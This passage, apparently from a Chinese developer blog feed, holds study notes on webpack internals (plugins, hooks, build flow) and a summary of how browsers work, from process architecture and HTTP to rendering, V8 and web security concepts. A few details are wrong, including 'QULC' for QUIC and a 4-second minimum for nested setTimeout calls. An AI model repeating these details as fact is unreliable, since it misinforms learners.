应用程序的静态模块打包器。当 webpack 处理应用程序时,它会递归地构建一个依赖关系图,包含应用程序需要的每个模块,然后将所有这些模块打包成一个或多个 bundle。webpack 像一条生产线,其中每个处理流程的职责是单一的,只有当前流程处理完成后才能交给下一个流程处理。webpack 通过 Tapable 组织这条复杂的生产线。webpack 在运行过程中会广播事件,插件只需要监听它所关心的事件,就能加入到这条生产线,改变生产线的运作。webpack 的事件流机制保证了插件的有序性。 webpack loader 和 plugin 的区别 loader 让 webpack 能够去处理那些非 JavaScript 文件(webpack 自身只理解 JavaScript)。loader 可以将所有类型的文件转换为 webpack 能够处理的有效模块,然后你就可以利用 webpack 的打包能力,对它们进行处理。 loader 被用于转换某些类型的模块,而插件则可以用于执行范围更广的任务。插件的范围包括,从打包优化和压缩,一直到重新定义环境中的变量。插件接口功能极其强大,可以用来处理各种各样的任务。 webpack plugin 实现 Plugin 是一个类(Class),类有一个 apply 方法,执行具体的插件方法; 调用 apply 方法入参注入一个 compiler 实例,compiler 实例是 webpack 的支柱引擎,代表 CLI 和 Node API 传递的所有配置项; compiler 上的 Hook 回调方法注入 compilation 实例,compilation 能够访问当前构建时的模块和相应的依赖; compiler 对象包含了 Webpack 环境所有的配置信息,包含 options,loaders,plugins 这些信息,这个对象在 Webpack 启动时候被实例化,它是全局唯一的,可以简单地理解为 Webpack 实例;compilation 对象包含了当前的模块资源、编译生成资源、变化的文件等。比如可以获取代码块 compilation.chunks,读取模块 chunk.forEachModule,文件 chunk.files。当 Webpack 以开发模式运行时,每当检测到一个文件变化,一次新的 Compilation 将被创建。Compilation 对象也提供了很多事件回调供插件做拓展,通过 Compilation 也能读取到 Compiler 对象。Compiler 和 Compilation 的区别在于:Compiler 代表了整个 Webpack 从启动到关闭的什么周期,而 Compilation 只代表一次新的编译。Hook 暴露了 3 个方法:tap、tapAsync 和 tapPromise,定义如何执行 Hook,分别表示注册同步、异步、Promise 形式 Hook。 12345678const pluginName = 'MyPlugin'class MyPlugin &#123; apply(compiler) &#123; compiler.hooks.run.tap(pluginName, (compilation) =&gt; &#123; // ... &#125;) &#125;&#125; Compiler Hooks Hook Type 调用 run AsyncSeriesHook 开始读取 records 之前 compile SyncHook 一个新的编译(compilation)创建之后 emit AsyncSeriesHook 生成资源到 output 目录之前 done SyncHook 编译(compilation)完成 Compilation Hooks Hook Type 调用 buildModule SyncHook 在模块构建开始之前触发 finishModule SyncHook 所有模块都完成构建 optimize SyncHook 优化阶段开始时触发 简单实现一个 webpack 传入一个文件路径参数,通过 fs 将文件中的内容读取出来; 再通过 babylon 解析代码获取 AST,目的是为了分析代码中是否还引入了别的文件; 通过 dependencies 来存储文件中的依赖,然后再将 AST 转化成 ES5 代码; 最后函数返回一个对象,对象中包含当前文件路径、当前文件依赖和当前文件转化后的代码; 这样遍历所有依赖文件,构建出一个函数参数对象; 对象的属性就是当前文件的相对路径,属性值是一个函数,函数体是当前文件下的代码,函数接受三个参数 module、exports、require; 接下来就是构造一个使用参数的函数 require,调用 require(‘./entry.js’)就可以执行 ./entry.js 对应的函数并执行,通过 module.export 方式导出内容。 实现小型打包工具 webpack 打包流程专业版: 首先合并 webpack config 文件和命令行参数,合并为 options; 将 options 传入 Compiler 构造方法,生成 compiler 实例,并实例化了 Compiler 上的 Hooks; compiler 对象执行 run 方法,并自动触发 beforeRun、run、beforeCompile、compile 等关键 Hooks; 调用 Compilation 构造方法创建 compilation 对象,compilation 负责管理所有模块和对应的依赖,创建完成后触发 make Hook; 执行 compilation.addEntry() 方法,addEntry 用于分析所有入口文件,逐级递归解析,调用 NormalModuleFactory 方法,为每个依赖生成一个 Module 实例,并在执行过程中触发 beforeResolve、resolver、afterResolve、module 等关键 Hooks; 将第 5 步中生成的 Module 实例作为入参,执行 Compilation.addModule() 和 Compilation.buildModule() 方法递归创建模块对象和依赖模块对象。 调用 seal 方法生成代码,整理输出主文件和 chunk,并最终输出; 易懂版: 初始化参数:从配置文件到 Shell 语句中读取与合并参数,得出最终的参数; 开始编译:用上一步的参数初始化 Compiler 对象,加载所有配置的插件,执行对象的 run 方法开始执行编译; 确定入口:根据配置中的 entry 找出所有的入口文件; 编译模块:从入口文件出发,调用所有配置的 loader 对模块进行翻译,找出该模块依赖的模块,再递归本步骤直到所有入口依赖的文件都经过本步骤的处理; 完成模块编译:在经过第 4 步使用 Loader 翻译完所有模块后,得到了每个模块被翻译后的最终内容以及他们之间的依赖关系; 输出资源:根据入口和模块之间的依赖关系,组装一个个包含很多模块的 Chunk ,再把每个 Chunk 转换成一个单独的文件加入到输出列表,这步是可以修改输出内容的最后机会; 输出完成:在确定好输出内容后,根据配置确定输出的路径和文件名,把文件内容写入到文件系统。 Tapable 原理Tapable 是 Webpack 核心工具库,它提供了所有 Hook 的抽象类定义。 参考:webpack 打包原理 ? 看完这篇你就懂了 !深入浅出 webpack 实现一个 webpack 插件findUnusedfile 插件是递归遍历入口文件它的模块依赖图,保存遍历结果并且去重、排除 node_modules 中的模块,最终找出所有项目使用的文件集合 A。通过 fastGlob 插件正则递归查找项目目录下所有文件集合 B,集合 B 减去 A/B 交集即可得到项目中未使用到的文件。 遍历不同的模块有不同的分析依赖方式: js、ts、jsx、tsx 模块根据 es module 的 import 或者 commonjs 的 require 来确定依赖; css、less、scss 模块根据 @import 和 url()的语法来确定依赖; 遍历 js 模块需要分析其中的 import 和 require 依赖。我们使用 Babel 来做: 读取文件内容; 根据后缀名是.jsx、.ts 来决定是否启用 typescript、jsx 的 parse 插件; 使用 babel/parse 把代码转成 AST; 使用 babel/traverse 对 AST 进行遍历; 处理 ImportDeclaration 和 CallExpress 的 AST,从中提取依赖路径; 对依赖路径进行处理,变成真实路径之后,继续遍历该路径的模块; 遍历 css 模块需要分析 @import 和 url()。我们使用 postcss 来做: 读取文件内容; 根据文件路径是.less、scss 来决定是否启动 less、scss 的语法插件; 使用 postcss.parse 把文件内容转化成 AST; 遍历@import 节点,提取依赖路径; 遍历样式声明(declaration),过滤出 url()的值,提取依赖的路径; 对依赖路径进行处理,变成真实路径之后,继续遍历该路径的模块; 改成 webpack 插件,webpack 将资源转换输出,中间是可以获取到所有依赖关系图和所有使用资源。emit hook 是在所有源文件转换和组装已经完成,在这里可以读取到最终将输出的资源、代码块、模块及其依赖。compilaton.fileDependcies 属性可以获取所有依赖文件,进一步简化了我自己去递归遍历查找依赖模块。]]></content>
<tags>
<tag>interview</tag>
</tags>
</entry>
<entry>
<title><![CDATA[浏览器工作原理与实践]]></title>
<url>%2F2021%2F05%2F31%2Fbrowser-working-principle%2F</url>
<content type="text"><![CDATA[前言作为一名前端 er,日常工作打交道最多(之一)的莫过于熟悉而又陌生的浏览器了,熟悉是每天都会基于浏览器的应用层面之上码业务,陌生是很多人可能跟我一样不熟悉其内部运行原理,比如 js 是怎样运行的呢?精美样式页面是怎样渲染到电脑屏幕的呢?在开放的互联网它又是怎样保证我们个人信息安全的呢?带着种种疑云开始肝李兵老师的《浏览器基本原理与实践》,不得不说,大家之作,通俗易懂,层层拨开云雾见青天,下面就(非常非常)简单总结一下。 浏览器工作原理与实践Chrome 架构:仅仅打开了 1 个页面,为什么有 4 个进程线程和进程区别:多线程可以并行处理任务,线程不能单独存在,它是由进程来启动和管理的。一个进程是一个程序的运行实例。 线程和进程的关系:1、进程中任意一线程执行出错,都会导致整个进程的崩溃。2、线程之间共享进程中的数据。3、当一个进程关闭后,操作系统会回收进程所占用的内存。4、进程之间的内容相互隔离。 单进程 浏览器:1、不稳定。单进程中的插件、渲染线程崩溃导致整个浏览器崩溃。2、不流畅。脚本(死循环)或插件会使浏览器卡顿。3、不安全。插件和脚本可以获取到操作系统任意资源。 多进程浏览器:1、解决不稳定。进程相互隔离,一个页面或者插件崩溃时,影响仅仅时当前插件或者页面,不会影响到其他页面。2、解决不流畅。脚本阻塞当前页面渲染进程,不会影响到其他页面。3、解决不安全。采用多进程架构使用沙箱。沙箱看成时操作系统给进程上来一把锁,沙箱的程序可以运行,但是不能在硬盘上写入任何数据,也不能在敏感位置读取任何数据。 多进程架构:分为 浏览器进程、渲染进程、GPU 进程、网络进程、插件进程。 缺点:1、资源占用高。2、体系架构复杂。 面向服务架构:把原来的各种模块重构成独立的服务,每个服务都可以在独立的进程中运行,访问服务必须使用定义好的接口,通过 IPC 通讯,使得系统更内聚、松耦合、易维护和拓展。 TCP 协议:如何保证页面文件能被完整送达浏览器] IP 头是 IP 数据包开头的信息,包含 IP 版本、源 IP 地址、目标 IP 地址、生存时间等信息; UDP 头中除了目的端口,还有源端口号等信息; IP 负责把数据包送达目的主机; UDP 负责把数据包送达具体应用; 对于错误的数据包,UDP 不提供重发机制,只是丢弃当前的包,不能保证数据的可靠性,但是传输速度非常块; TCP 头除了包含了目标端口和本机端口号外,还提供了用于排序的序列号,保证了数据完整地传输,它的连接可分为三个阶段:建立连接、传输数据和断开连接; HTTP 请求流程:为什么很多站点第二次打开速度会很快 浏览器中的 HTTP 请求从发起到结束一共经历如下八个阶段:构建请求、查找缓存、准备 IP 和端口、等待 TCP 队列、建立 TCP 连接、发起 HTTP 请求、服务器处理请求、服务器返回请求和断开连接; 构建请求。浏览器构建请求行,构建好后,准备发起网络请求; 查找缓存。在真正法器请求前浏览器会查询缓存中是否有请求资源副本,有则拦截请求,返回资源副本,否则进入网络请求; 准备 IP 地址和端口。HTTP 网络请求需要和服务器建立 TCP 连接,而建立 TCP 连接需要准备 IP 地址和端口号,浏览器需要请求 DNS 返回域名对应的 IP,同时会缓存域名解析结果,供下次查询使用; 等待 TCP 队列。Chrome 机制,同一个域名同时最多只能建立 6 个 TCP 连接; 建立 TCP 连接。TCP 通过“三次握手”建立连接,传输数据,“四次挥手”断开连接; 发送 HTTP 请求。建立 TCP 连接后,浏览器就可以和服务器进行 HTTP 数据传输了,首先会向服务器发送请求行,然后以请求头形式发送一些其他信息,如果是 POST 请求还会发送请求体; 服务器处理请求。首先服务器会返回响应行,随后,服务器向浏览器发送响应头和响应体。通常服务器返回数据,就要关闭 TCP 连接,如果请求头或者响应头有 Connection:keep-alive TCP 保持打开状态; 导航流程:从输入 URL 到页面展示这中间发生了什么 用户输入 URL 并回车 浏览器进程检查 URL,组装协议,构成完整 URL 浏览器进程通过进程通信(IPC)把 URL 请求发送给网络进程 网络进程接收到 URL 请求后检查本地缓存是否缓存了该请求资源,如果有则将该资源返回给浏览器进程 如果没有,网络进程向 web 服务器发起 http 请求(网络请求),请求流程如下: 进行 DNS 解析,获取服务器 IP 地址,端口 利用 IP 地址和服务器建立 tcp 连接 构建请求头信息 发送请求头信息 服务器响应后,网络进程接收响应头和响应信息,并解析响应内容 网络进程解析响应流程: 检查状态码,如果是 301/302,则需要重定向,从 Location 自动读取地址,重新进行第 4 步,如果是 200,则继续处理请求 200 响应处理:检查响应类型 Content-Type,如果是字节流类型,则将该请求提交给下载管理器,该导航流程结束,不再进行后续渲染。如果是 html 则通知浏览器进程准备渲染进程进行渲染 准备渲染进程 浏览器进程检查当前 URL 是否和之前打开的渲染进程根域名是否相同,如果相同,则复用原来的进程,如果不同,则开启新的渲染进程 传输数据、更新状态 渲染进程准备好后,浏览器向渲染进程发起“提交文档”的消息,渲染进程接收到消息和网络进程建立传输数据的“管道” 渲染进程接收完数据后,向浏览器发送“确认提交” 浏览器进程接收到确认消息后 engine 浏览器界面状态:安全、地址 URL、前进后退的历史状态、更新 web 页面 渲染流程(上):HTML、CSS 和 JavaScript 是如何变成页面的 浏览器不能直接理解 HTML 数据,需要将其转化为 DOM 树结构; 生成 DOM 树后,根据 CSS 样式表,计算出 DOM 树所有节点样式; 创建布局树:遍历 DOM 树所有可见节点,把这些节点加到布局中,不可见节点忽略,如 head 标签下所有内容,display: none 元素; 渲染流程(下):HTML、CSS 和 JavaScript 是如何变成页面的 分层:层叠上下文属性的元素(比如定位属性元素、透明属性元素、CSS 滤镜属性元素)提升为单独的一层,需要裁剪的地方(比如出现滚动条)也会被创建为图层; 图层绘制:完成图层树构建后,渲染引擎会对图层树每一层进行绘制,把一个图层拆分成小的绘制指令,再把指令按照顺序组成一个带绘制列表; 有些情况图层很大,一次绘制所有图层内容,开销太大,合成线程会将图层划分为图块(256x256 或者 512x512); 合成线程将图块提交给栅格线程进行栅格化,将图块转换为位图。栅格化过程都会使用 GPU 加速,生成的位图保存在 GPU 内存中; 一旦所有图块都被栅格化,合成线程会生成一个绘制图块命令(DrawQuad),然会将命令提交给浏览器进程,viz 组件接收到该指令,将页面内容绘制到内存中,显示在屏幕上; 重排:通过 JavaScript 或者 CSS 修改元素几何位置属性,会触发重新布局,解析后面一系列子阶段;重绘:不引起布局变换,直接进入绘制及其以后子阶段;合成:跳过布局和绘制阶段,执行的后续操作,发生在合成线程,非主线程; 变量提升:javascript 代码是按顺序执行的吗 JavaScript 代码在执行之前需要先编译,在编译阶段,变量和函数会被存放到变量环境中,变量默认值会被设置为 undefined; 在代码执行阶段,JavaScript 引擎会从变量环境中查找自定义的变量和函数; 如果在编译阶段,窜爱两个相同的函数,那么最终放在变量环境中的是最后定义的那个,后定义的覆盖先定义的; 调用栈:为什么 JavaScript 代码会出现栈溢出 每调用一个函数,JavaScript 引擎会为其创建执行上下文压入调用栈,然后,JavaScript 引擎开始执行函数代码。 如果一个函数 A 调用另外一个函数 B,那么 JavaScript 引擎会为 B 函数创建执行上下文,并将 B 函数的执行上下文压入栈顶。 当前函数执行完毕后,JavaScript 引擎会将该函数的执行上下文弹出栈。 当分配的调用栈空间被占满时,会引发“堆栈溢出”问题。 块级作用域:var 缺陷以及为什么要引入 let 和 const let、const 申明的变量不会被提升。在 javascript 引擎编译后,会保存在词法环境中。 块级作用域在代码执行时,将 let、const 变量存放在词法环境的一个单独的区域。词法环境内部维护一个小型的栈结构,作用域内部变量压入栈顶。作用域执行完,从栈顶弹出。 作用域链和闭包:代码中出现相同的变量,JavaScript 引擎如何选择 使用一个变量,JavaScript 引擎会在当前的执行上下文中查找变量,如果没有找到,会继续在 outer(执行环境指向外部执行上下文的引用)所指向的执行上下文中查找; JavaScript 执行过程,作用域链是由词法作用域决定,而词法作用域是由代码中函数声明的位置决定; 根据词法作用域的规则,内部函数总是可以访问其外部函数中声明的变量,当通过调用一个外部函数返回一个内部函数后,即使外部函数已经执行结束了,但是内部函数引用外部函数的变量依旧保存在内存中,把这些变量的集合称为闭包; this:从 JavaScript 执行上下文视角讲 this当执行 new CreateObj 的时候,JavaScript 引擎做了四件事: 首先创建一个控对象 tempObj; 接着调用 CreateObj.call 方法,并将 tempObj 作为 call 方法的参数,这样当 createObj 的执行上下文创建时,它的 this 就指向 tempObj 对象; 然后执行 CreateObj 函数,此时的 CreateObj 函数执行上下文中的 this 指向 tempObj 对象; 最后返回 tempObj 对象。 this 的使用分为: 当函数最为对象的方法调用时,函数中的 this 就是该对象; 当函数被正常调用时,在严格模式下,this 值是 undefined,非严格模式下 this 指向的是全局对象 window; 嵌套函数中的 this 不会继承外层函数的 this 值; 箭头函数没有自己的执行上下文,this 是外层函数的 this。 栈空间和堆空间:数据是如何存储的动态语言:在使用时需要检查数据类型的语言。弱类型语言:支持隐式转换的语言。 JavaScript 中的 8 种数据类型,它们可以分为两大类——原始类型和引用类型。原始类型数据存放在栈中,引用类型数据存放在堆中。堆中的数据是通过引用与变量关系联系起来的。 从内存视角了解闭包:词法扫描内部函数,引用了外部函数变量,堆空间创建一个“closure”对象,保存变量。 垃圾回收:垃圾数据如何自动回收 栈中数据回收:执行状态指针 ESP 在执行栈中移动,移过某执行上下文,就会被销毁; 堆中数据回收:V8 引擎采用标记-清除算法; V8 把堆分为两个区域——新生代和老生代,分别使用副、主垃圾回收器; 副垃圾回收器负责新生代垃圾回收,小对象(1 ~ 8M)会被分配到该区域处理; 新生代采用 scavenge 算法处理:将新生代空间分为两半,一半空闲,一半存对象,对对象区域做标记,存活对象复制排列到空闲区域,没有内存碎片,完成后,清理对象区域,角色反转; 新生代区域两次垃圾回收还存活的对象晋升至老生代区域; 主垃圾回收器负责老生区垃圾回收,大对象,存活时间长; 老生代区域采用标记-清除算法回收垃圾:从根元素开始,递归,可到达的元素活动元素,否则是垃圾数据; 标记-清除算法后,会产生大量不连续的内存碎片,标记-整理算法让所有存活的对象向一端移动,然后清理掉边界以外的内存; 为降低老生代垃圾回收造成的卡顿,V8 将标记过程被切分为一个个子标记过程,让垃圾回收和 JavaScript 执行交替进行。 编译器和解析器:V8 如何执行一段 JavaScript 代码的 计算机语言可以分为两种:编译型和解释型语言。编译型语言经过编译器编译后保留机器能读懂的二进制文件,比如 C/C++,go 语言。解释型语言是在程序运行时通过解释器对程序进行动态解释和执行,比如 Python,JavaScript 语言。 编译型语言的编译过程:编译器首先将代码进行词法分析、语法分析,生成抽象语法树(AST),然后优化代码,最后生成处理器能够理解的机器码; 解释型语言解释过程:解释器会对代码进行词法分析、语法分析,并生产抽象语法树(AST),不过它会再基于抽象语法树生成字节码,最后根据字节码执行程序; AST 的生成:第一阶段是分词(词法分析),将一行行源码拆解成一个个 token(语法上不可再分、最小单个字符)。第二阶段是解析(语法分析),将上一步生成的 token 数据,根据语法规则转为 AST,这一阶段会检查语法错误; 字节码存在的意义:直接将 AST 转化为机器码,执行效率是非常高,但是消耗大量内存,从而先转化为字节码解决内存问题; 解释器 ignition 在解释执行字节码,同时会手机代码信息,发现某一部分代码是热点代码(HotSpot),编译器把热点的字节码转化为机器码,并保存起来,下次使用; 字节码配合解释器和编译器的实现称为即时编译(JIT)。 消息队列和事件循环:页面是怎么活起来的 每个渲染进程都有一个主线程,主线程会处理 DOM,计算样式,处理布局,JavaScript 任务以及各种输入事件; 维护一个消息队列,新任务(比如 IO 线程)添加到消息队列尾部,主线程循环地从消息队列头部读取任务,执行任务; 解决处理优先级高的任务:消息队列的中的任务称为宏任务,每个宏任务中都会包含一个微任务队列,在执行宏任务的过程中,如果 DOM 有变化,将该变化添加到微任务队列中; 解决单个任务执行时长过久:JavaScript 通过回调功能来规避。 webapi:setTimeout 是怎么实现的 JavaScript 调用 setTimeout 设置回调函数的时候,渲染进程会创建一个回调任务,延时执行队列存放定时器任务; 当定时器任务到期,就会从延时队列中取出并执行; 如果当前任务执行时间过久,会影响延时到期定时器任务的执行; 如果 setTimeout 存在嵌套调用(5 次以上),判断该函数方法被阻塞,那么系统会设置最短时间间隔为 4 秒; 未激活的页面,setTimeout 执行最小间隔是 1000 毫秒,目的是为了降低加载损耗; 延时执行时间最大值是 24.8 天,因为延时值是以 32 个 bit 存储的; setTimeout 设置的回调函数中的 this 指向全局 window。 webpai:XMLHttpRequest 是怎么实现的 XMLHttpRequest onreadystatechange 处理流程:未初始化 -&gt; OPENED -&gt; HEADERS_RECEIVED -&gt; LOADING -&gt; DONE; 渲染进程会将请求发送给网络进程,然后网络进程负责资源下载,等网络进程接收到数据后,利用 IPC 通知渲染进程; 渲染进程接收到消息之后,会将 xhr 回调函数封装成任务并添加到消息队列中,等主线程循环系统执行到该任务的时候,会根据相关状态来调用回调函数。 宏任务和微任务:不是所有的任务都是一个待遇 消息队列中的任务为宏任务。渲染进程内部会维护多个消息队列,比如延时执行队列和普通消息队列,主线程采用 for 循环,不断地从这些任务队列中取出任务并执行; 微任务是一个需要异步执行的函数,执行时机是在主函数执行结束之后、当前宏任务结束之前; V8 在执行 javascript 脚本时,会为其创建一个全局执行上下文,同时会创建一个微任务队列; 执行微任务过程中产生的微任务不会推迟到下个宏任务中执行,而是在当前宏任务中继续执行; 使用 Promise 告别回调函数 使用 Promise 解决了回调地狱问题,消灭嵌套和多次处理; 模拟实现 Promise 123456789101112function Bromise(executor) &#123; var _onResolve = null this.then = function (onResolve) &#123; _onResolve = onResolve &#125; function resolve(value) &#123; setTimeout(() =&gt; &#123; _onResolve(value) &#125;, 0) &#125; executor(resolve, null)&#125; async await 使用同步方式写异步代码 生成器函数是一个带星号函数,而且是可以暂停执行和回复执行的; 生成器函数内部执行一段代码,遇到 yield 关键字,javascript 引擎返回关键字后面的内容给外部,并且暂停该函数的执行; 外部函数可以同步 next 方法恢复函数的执行; 协程是一种比线程更加轻量级的存在,协程可以看成是跑在线程上的任务,一个线程可以存在多个协程,但是同时只能执行一个协程,如果 A 协程启动 B 协程,A 为 B 的父协程; 协程不被操作协同内核所管理,而完全由程序所控制,这样性能提升; await xxx 会创建一个 Promise 对象,将 xxx 任务提交给微任务队列; 暂停当前协程的执行,将主线程的控制权力转交给父协程执行,同时将 Promise 对象返回给父协程,继续执行父协程; 父协程执行结束之前会检查微任务队列,微任务队列中有 resolve(xxx) 等待执行,触发 then 的回调函数; 回调函数被激活后,会将主线程的控制权交给协程,继续执行后续语句,完成后将控制权还给父协程。 页面性能分析:利用 chrome 做 web 性能分析 Chrome 开发者工具(简称 DevTools)是一组网页制作和调试的工具,内嵌于 Google Chrome 浏览器中。它一共包含了 10 个功能面板,包括了 Elements、Console、Sources、NetWork、Performance、Memory、Application、Security、Audits 和 Layers。 DOM 树:JavaScript 是如何影响 DOM 树构建的 HTML 解析器(HTMLParse)负责将 HTML 字节流转换为 DOM 结构; HTML 解析器并不是等整个文档加载完成之后再解析,而是网络进程加载流多少数据,便解析多少数据; 字节流转换成 DOM 三个阶段:1、字节流转换为 Token;2、维护一个 Token 栈,遇到 StartTag Token 入栈,遇到 EndTag Token 出栈;3、为每个 Token 创建一个 DOM 节点; JavaScript 文件和 CSS 样式表文件都会阻塞 DOM 解析; 渲染流水线:CSS 如何影响首次加载时的白屏时间? DOM 构建结束之后,css 文件还未下载完成,渲染流水线空闲,因为下一步是合成布局树,合成布局树需要 CSSOM 和 DOM,这里需要等待 CSS 加载结束并解析成 CSSOM; CSSOM 两个作用:提供给 JavaScript 操作样式表能力,为布局树的合成提供基础样式信息; 在执行 JavaScript 脚本之前,如果页面中包含了外部 CSS 文件的引用,或者通过 style 标签内置了 CSS 内容,那么渲染引擎还需要将这些内容转化为 CSSOM,因为 JavaScript 有修改 CSSOM 的能力,所以在执行 JavaScript 之前,还需要依赖 CSSOM。也就是说 CSS 在部分情况下也会阻塞 DOM 的生成。 分层和合成机制:为什么 CSS 动画比 JavaScript 高效 显示器固定刷新频率是 60HZ,即每秒更新 60 张图片,图片来自显卡的前缓冲区; 显卡的职责是合成新的图像,保存在后缓冲区,然后后缓冲区和前缓冲区互换,显卡更新频率和显示前刷新频率不一致,就会造成视觉上的卡顿; 渲染流水线生成的每一副图片称为一帧,生成一帧的方式有重排、重绘和合成三种; 重排会根据 CSSOM 和 DOM 计算布局树,重绘没有重新布局阶段; 生成布局树之后,渲染引擎根据布局树特点转化为层树,每一层解析出绘制列表; 栅格线程根据绘制列表中的指令生成图片,每一层对应一张图片,合成线程将这些图片合成一张图片,发送到后缓存区; 合成线程会将每个图层分割成大小固定的图块,优先绘制靠近视口的图块; 页面性能:如何系统优化页面 加载阶段:减少关键资源个数,降低关键资源大小,降低关键资源的 RTT 次数; 交互阶段:减少 JavaScript 脚本执行时间,避免强制同步布局:操作 DOM 的同时获取布局样式会引发,避免布局抖动:多次执行强制布局和抖动,合理利用 CSS 合成动画:标记 will-change,避免频繁的垃圾回收; CSS 实现一些变形、渐变、动画等特效,这是由 CSS 触发的,并且是在合成线程中执行,这个过程称为合成,它不会触发重排或者重绘; 虚拟 DOM:虚拟 DOM 和真实 DOM 有何不同 当有数据更新时, React 会生产一个新的虚拟 DOM,然会拿新的虚拟 DOM 和之前的虚拟 DOM 进行比较,这个过程找出变化的节点,然后将变化的节点应用到 DOM 上; 最开始的时候,比较两个 DOM 的过程是在一个递归函数里执行的,其核心算法是 reconciliation。通常情况,这个比较过程执行很快,不过虚拟 DOM 比较复杂时,执行比较函数可能占据主线程比较久的时间,这样会导致其他任务的等待,造成页面卡顿。React 团队重写了 reconciliation 算法,称为 Fiber reconciler,之前老的算法称为 Stack reconciler; PWA:解决 web 应用哪些问题 PWA(Progressive Web App),渐进式 Web 应用。一个渐进式过渡方案,让普通站点过渡到 Web 应用,降低站点改造代价,逐渐支持新技术,而不是一步到位; PWA 引入 ServiceWorker 来试着解决离线存储和消息推送问题,引入 mainfest.json 来解决一级入口问题; 暗转了 ServiceWorker 模块之后,WebApp 请求资源时,会先通过 ServiceWorker,让它判断是返回 Serviceworker 缓存的资源还是重新去网络请求资源,一切的控制权交给 ServiceWorker 来处理; 在目前的 Chrome 架构中,Service Worker 是运行在浏览器进程中的,因为浏览器进程生命周期是最长的,所以在浏览器的生命周期内,能够为所有的页面提供服务; WebComponent:像搭积木一样构建 web 应用 CSS 的全局属性会阻碍组件化,DOM 也是阻碍组件化的一个因素,因为页面中只有一个 DOM,任何地方都可以直接读取和修改 DOM; WebComponent 提供了对局部试图封装能力,可以让 DOM、CSSOM 和 JavaScript 运行在局部环境中; template 创建模版,查找模版内容,创建影子 DOM,模版添加到影子 DOM 上; 影子 DOM 可以隔离全局 CSS 和 DOM,但是 JavaScript 是不会被隔离的; HTTP1:HTTP1 性能优化 HTTP/0.9 基于 TCP 协议,三次握手建立连接,发送一个 GET 请求行(没有请求头和请求体),服务器接收请求之后,读取对应 HTML 文件,数据以 ASCII 字符流返回,传输完成断开连接; HTTP/1.0 增加请求头和响应头来进行协商,在发起请求时通过请求头告诉服务器它期待返回什么类型问题、什么形式压缩、什么语言以及文件编码。引入来状态吗,Cache 机制等; HTTP/1.1 改进持久化连接,解决建立 TCP 连接、传输数据和断开连接带来的大量开销,支持在一个 TCP 连接上可以传输多个 HTTP 请求,目前浏览器对于一个域名同时允许建立 6 个 TCP 持久连接; HTTP/1.1 引入 Chunk transfer 支持动态生成内容:服务器将数据分割成若干任意大小的数据块,每个数据块发送时附上上个数据块的长度,最后使用一个零长度的块作为发送数据完成的标志。在 HTTP/1.1 需要在响应头中设置完整的数据大小,如 Content-Length。 HTTP2:如何提升网络速度 HTTP/1.1 主要问题:TCP 慢启动;同时开启多条 TCP 连接,会竞争固定宽带;对头阻塞问题; HTTP/2 在一个域名下只使用一个 TCP 长连接和消除对头阻塞问题; 多路复用的实现:HTTP/2 添加了二进制分帧层,将发送或响应数据经过二进制分帧处理,转化为一个个带有请求 ID 编号的帧,服务器或者浏览器接收到响应帧后,根据相同 ID 帧合并为一条完整信息; 设置请求优先级:发送请求可以设置请求优先级,服务器可以优先处理; 服务器推送:请求一个 HTML 页面,服务器可以知道引用了哪些 JavaScript 和 CSS 文件,附带一起发送给浏览器; 头部压缩:对请求头和响应头进行压缩; HTTP3:甩掉 TCP、TCL 包袱,构建高效网络 虽然 HTTP/2 解决了应用层面的对头阻塞问题,不过和 HTTP/1.1 一样,HTTP/2 依然是基于 TCP 协议,而 TCP 最初是为了单连接而设计; TCP 可以看成是计算机之间的一个虚拟管道,数据从一端发送到另一端会被拆分为一个个按照顺序排列的数据包,如果在传输过程中,有一个数据因为网络故障或者其他原因丢失,那么整个连接会处于暂停状态,只有等到该数据重新传输; 由于 TCP 协议僵化,也不可能使用新的协议,HTTP/3 选择了一个折衷的方法,基于现有的 UDP 协议,实现类似 TC 片多路复用,传输可靠等功能,称为 QULC 协议; QULC 实现类似 TCP 流量控制,传输可靠功能;集成 TLS 加密功能;实现多路复用功能; 同源策略:为什么 XMLHttpRequst 不能跨域请求 协议、域名和端口号相同的 URL 是同源的; 同源策略会隔离不同源的 DOM、页面数据和网络通信; 页面可以引用第三方资源,不过暴露出诸如 XSS 问题,引入内容安全策略 CSP 限制; 默认 XMLHttpRequest 和 Fetch 不能跨站请求资源,引入跨域资源共享(CORS)进行跨域访问控制; 跨站脚本攻击 XSS:为什么 cookie 中有 httpOnly 属性 XSS 跨站脚本,往 HTML 文件中注入恶意代码,对用户实施攻击; XSS 攻击主要有存储型 XSS 攻击、反射型 XSS 攻击和 DOM 的 XSS 攻击; 阻止 XSS 攻击:服务器对脚本进行过滤或转码,利用 CSP 策略,使用 HttpOnly; CSRF 攻击:陌生连接不要随便点 CSRF 跨站请求伪造,利用用户的登录状态,通过第三方站点攻击; 避免 CSRF 攻击:利用 SameSite(三种模式:Strict、Lax、None) 让浏览器禁止第三方站点发起请求携带关键 Cookie;验证请求的来源站点,请求头中的 Referer 和 Origin 属性;利用 CSRF Token; 沙盒:页面和系统之间的隔离墙 浏览器被划分为浏览器内核和渲染内核两个核心模块,其中浏览器内核是由网络进程、浏览器主进程和 GPU 进程组成的,渲染内核就是渲染进程; 浏览器中的安全沙箱是利用操作系统提供的安全技术,让渲染进程在执行过程中无法访问或者修改操作系统中的数据,在渲染进程需要访问系统资源的时候,需要通过浏览器内核来实现,然后将访问的结果通过 IPC 转发给渲染进程; 站点隔离(Site Isolation)将同一站点(包含相同根域名和相同协议的地址)中相互关联的页面放到同一个渲染进程中执行; 实现站点隔离,就可以将恶意的 iframe 隔离在恶意进程内部,使得它无法继续访问其他 iframe 进程的内容,因此无法攻击其他站点; HTTPS:让数据传输更安全 在 TCP 和 HTTP 之间插入一个安全层,所有经过安全层的数据都会被加密或者解密; 对称加密:浏览器发送加密套件列表和一个随机数 client-random,服务器会从加密套件中选取一个加密套件,然后生成一个随机数 service-random,返回给浏览器。这样浏览器和服务器都有相同 client-random 和 service-random,再用相同的方法将两者混合生成一个密钥 master secret,双方就可以进行数据加密传输了; 对称加密缺点:client-random 和 service-random 的过程都是明文,黑客可以拿到协商的加密套件和双方随机数,生成密钥,数据可以被破解; 非对称加密:浏览器发送加密套件列表给服务器,服务器选择一个加密套件,返回加密套件和公钥,浏览器用公钥加密数据,服务器用私钥解密; 非对称加密缺点:加密效率太低,不能保证服务器发送给浏览器的数据安全,黑客可以获取公钥; 对称加密结合非对称加密:浏览器发送对称加密套件列表、非对称加密列表和随机数 client-random 给服务器,服务器生成随机数 service-random,选择加密套件和公钥返回给浏览器,浏览器利用 client-random 和 service-random 计算出 pre-master,然后利用公钥给 pre-master 